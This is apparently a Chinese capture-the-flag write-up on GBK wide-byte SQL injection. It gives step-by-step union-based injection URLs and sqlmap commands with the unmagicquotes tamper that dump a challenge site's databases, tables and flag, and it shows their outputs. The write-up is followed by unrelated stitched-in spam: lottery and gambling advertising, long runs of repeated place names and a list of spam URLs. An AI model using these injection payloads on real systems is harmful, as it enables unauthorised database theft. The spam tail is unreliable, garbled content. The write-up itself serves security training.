<menu id="gc4q0"></menu>
  • <menu id="gc4q0"></menu>
  • <input id="gc4q0"></input>
    <nav id="gc4q0"></nav>
  • <input id="gc4q0"><acronym id="gc4q0"></acronym></input>
  • (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    香港最快現场开奖结果118图库天下彩天空彩免费大全香港蓝月亮精选资料六合宝典天天彩票新版 海口市| 崇礼县| 军事| 九江县| 道真| 布拖县| 巴塘县| 牡丹江市| 马公市| 辽阳市| 丹江口市| 青河县| 姚安县| 若尔盖县| 平安县| 夏河县| 抚州市| 巴楚县| 新绛县| 彰化市| 青岛市| 渝中区| 龙陵县| 丰城市| 太仓市| 潢川县| 江西省| 吉木乃县| 宁乡县| 绥中县| 龙泉市| 灵宝市| 乃东县| 浪卡子县| 全南县| 宣化县| 扶余县| 双峰县| 邓州市| 贺州市| 衡水市| 彝良县| 句容市| 兰考县| 遵化市| 德阳市| 宜君县| 威宁| 潞城市| 石景山区| 澎湖县| 永登县| 施秉县| 蓬莱市| 永登县| 宜春市| 保靖县| 威信县| 江油市| 西安市| 三穗县| 凤山市| 盱眙县| 河南省| 三河市| 西盟| 凤庆县| 抚顺市| 宁强县| 清涧县| 九台市| 宁化县| 沙坪坝区| 淮阳县| 蓝山县| 陇川县| 南陵县| 三江| 佛教| 阳东县| 永宁县| 旅游| 六安市| 泸西县| 彰化县| 山东省| 普宁市| 鹰潭市| 兰西县| 沭阳县| 和龙市| 巴林右旗| 阿尔山市| 大安市| 美姑县| 临夏市| 多伦县| 浦北县| 乃东县| 北川| 方正县| 天镇县| 青神县| 郸城县| 九台市| 定兴县| 云浮市| 五大连池市| 武山县| 隆化县| 邵阳市| 文昌市| 宁南县| 衡东县| 焦作市| 慈利县| 汝阳县| 崇义县| 伊春市| 宝鸡市| 壤塘县| 铜川市| 信丰县| 汉川市| 甘德县| 澜沧| 光泽县| 四子王旗| 阜南县| 沿河| 穆棱市| 金昌市| 临沧市| 涟水县| 高雄市| 东乌珠穆沁旗| 黄梅县| 康定县| 嘉禾县| 德州市| 信丰县| 山东省| 新巴尔虎左旗| 永清县| 青海省| 勃利县| 武陟县| 高邑县| 万州区| 德钦县| 邵东县| 新龙县| 华亭县| 营山县| 吉林省| 杭州市| 文水县| 中西区| 长沙市| 宜兴市| 华亭县| 鹰潭市| 澄江县| 磐石市| 茂名市| 娄底市| 获嘉县| 庆元县| 建水县| 阿坝县| 咸丰县| 洪湖市| 昌都县| 乡宁县| 神农架林区| 桃源县| 新营市| 禹州市| 比如县| 永年县| 肃北| 安吉县| 绿春县| 红河县| 盐边县| 洛扎县| 新泰市| 青铜峡市| 福海县| 古田县| 会宁县| 吉林市| 方山县| 东港市| 北票市| 威宁| 定远县| 新平| 霍邱县| 永德县| 政和县| 金塔县| 安陆市| 民勤县| 阳高县| 砀山县| 枣阳市| 连平县| 得荣县| 三台县| 慈利县| 桐乡市| 达拉特旗| 大竹县| 特克斯县| 收藏| 五家渠市| 滨海县| 什邡市| 榆中县| 建昌县| 邢台市| 昭觉县| 海安县| 峨边| 合肥市| 通河县| 白朗县| 长沙县| 东阿县| 二手房| 宁海县| 沅江市| 曲麻莱县| 沙湾县| 宝山区| 柘城县| 冷水江市| 灵石县| 丰宁| 孟州市| 洞头县| 达日县| 仪征市| 礼泉县| 陈巴尔虎旗| 堆龙德庆县| 田阳县| 独山县| 清水县| 阿拉尔市| 巴里| 崇左市| 潮安县| 建昌县| 米脂县| 耒阳市| 沙洋县| 井陉县| 辰溪县| 阳城县| 平乐县| 乌兰县| 镇赉县| 德化县| 铅山县| 常山县| 昌图县| 五指山市| 宜城市| 玉环县| 新绛县| 科尔| 饶阳县| 沅江市| 河北省| 樟树市| 沙洋县| 大姚县| 宕昌县| 张北县| 呼伦贝尔市| 井冈山市| 芮城县| 镇安县| 汉源县| 赣榆县| 通道| 玉屏| 大同市| 聂拉木县| 象山县| 曲沃县| 文昌市| 秦安县| 武清区| 四平市| 临海市| 墨玉县| 深州市| 米易县| 北宁市| 延川县| 东乌珠穆沁旗| 六盘水市| 雅江县| 满城县| 鄂伦春自治旗| 临澧县| 苍梧县| 凌云县| 习水县| 平果县| 北海市| 正安县| 祁阳县| 金乡县| 翼城县| 新兴县| 永定县| 沙湾县| 鄱阳县| 涪陵区| 视频| 西乡县| 读书| 绥阳县| 沂南县| 盐城市| 密云县| 安新县| 博乐市| 翁源县| 济阳县| 曲麻莱县| 牡丹江市| 垦利县| 仁化县| 揭阳市| 柞水县| 西贡区| 刚察县| 堆龙德庆县| 商南县| 会东县| 莱芜市| 根河市| 会泽县| 江源县| 巴塘县| 曲阳县| 吉水县| 兴文县| 武夷山市| 崇阳县| 南雄市| 临高县| 通渭县| 浪卡子县| 华安县| 新平| 绥芬河市| 那坡县| 临海市| 黄梅县| 北辰区| 永修县| 章丘市| 赤城县| 乌海市| 望奎县| 莆田市| 安福县| 大港区| 比如县| 太康县| 舒城县| 姜堰市| 扎赉特旗| 沁阳市| 图们市| 湘西| 镇宁| 三都| 中西区| 红桥区| 陵川县| 尖扎县| 阳朔县| 南丹县| 岳西县| 达拉特旗| 共和县| 丰县| 奉贤区| 通城县| 乌恰县| 依兰县| 仪征市| 桐柏县| 双柏县| 梓潼县| 衡山县| 济南市| 如皋市| 合作市| 长武县| 福建省| 江华| 清苑县| 铜陵市| 白朗县| 方山县| 星子县| 钟山县| 兖州市| 随州市| 缙云县| 涞源县| 巴楚县| 宁明县| 平潭县| 蒲城县| 绥芬河市| 古蔺县| 涞源县| 团风县| 芒康县| 泾源县| 灵台县| 延安市| 拉萨市| 福贡县| 开江县| 柳江县| 海门市| 墨竹工卡县| 江门市| 平定县| 衡东县| 清水县| 浦东新区| 九龙坡区| 和平区| 镇江市| 枞阳县| 汪清县| 永康市| 靖江市| 交城县| 喀喇| 常宁市| 长海县| 禄劝| 锡林郭勒盟| 馆陶县| 滨州市| 正安县| 汽车| 阜康市| 西吉县| 英吉沙县| 正镶白旗| 崇明县| 临朐县| 南乐县| 塔河县| 和静县| 潮州市| 云林县| 扎鲁特旗| 彭州市| 迁安市| 湘乡市| 长顺县| 镇宁| 恭城| 铜梁县| 西华县| 绥阳县| 麻栗坡县| 门头沟区| 探索| 岳池县| 慈溪市| 九龙城区| 繁昌县| 沧源| 扎兰屯市| 宜州市| 南昌县| 平江县| 清新县| 陆良县| 永靖县| 临泽县| 册亨县| 东安县| 关岭| 怀集县| 凤城市| 仙桃市| 景洪市| 双柏县| 高雄县| 遂昌县| 泌阳县| 独山县| 台中市| 临漳县| 葫芦岛市| 宜兰市| 万州区| 南平市| 新源县| 来宾市| 庄河市| 大冶市| 楚雄市| 保亭| 曲沃县| 诸暨市| 瑞金市| 永川市| 姚安县| 铜川市| 洪雅县| 平昌县| 德兴市| 鸡东县| 敦煌市| 稻城县| 柳河县| 武隆县| 敦化市| 城市| 万全县| 辉县市| 夏河县| 阿瓦提县| 乐东| 呼玛县| 嘉善县| 安泽县| 延庆县| 报价| 南宁市| 赤城县| 通城县| 吕梁市| 射洪县| 离岛区| 桦南县| 孝感市| 钟山县| 井陉县| 容城县| 突泉县| 恭城| 湟中县| 衡阳县| 安阳市| 高碑店市| 伊宁市| 利川市| 偏关县| 大英县| 昌吉市| 林西县| 绩溪县| 邛崃市| 银川市| 辛集市| 都兰县| 观塘区| 东丽区| 民乐县| 屏山县| 汪清县| 苍溪县| 高密市| 上犹县| 宽城| 卢湾区| 罗甸县| 大连市| 肥城市| 邵阳市| 平顶山市| 布拖县| 彝良县| 清远市| 颍上县| 满城县| 定西市| 临海市| 平山县| 扶沟县| 石家庄市| 苍溪县| 花莲市| 区。| 莎车县| 牙克石市| 无棣县| 获嘉县| 新化县| 九龙坡区| 邹城市| 庆安县| 武乡县| 咸阳市| 定南县| 西青区| 广宁县| http://3g.jx1870crossv.fun http://m.jx1870cardv.fun http://wap.jx1870agev.fun http://jx1870ballv.fun http://3g.jx1870budgetv.fun http://3g.jx1870cataloguev.fun http://wap.jx1870circlev.fun http://wap.jx1870detailv.fun http://wap.jx1870auditv.fun http://wap.jx1870busv.fun http://m.jx1870cozzandv.fun http://3g.jx1870bridgev.fun http://www.jx1870decidev.fun http://wap.jx1870copyv.fun http://m.jx1870costv.fun http://3g.jx1870bulkv.fun http://3g.jx1870cookv.fun http://3g.jx1870contributev.fun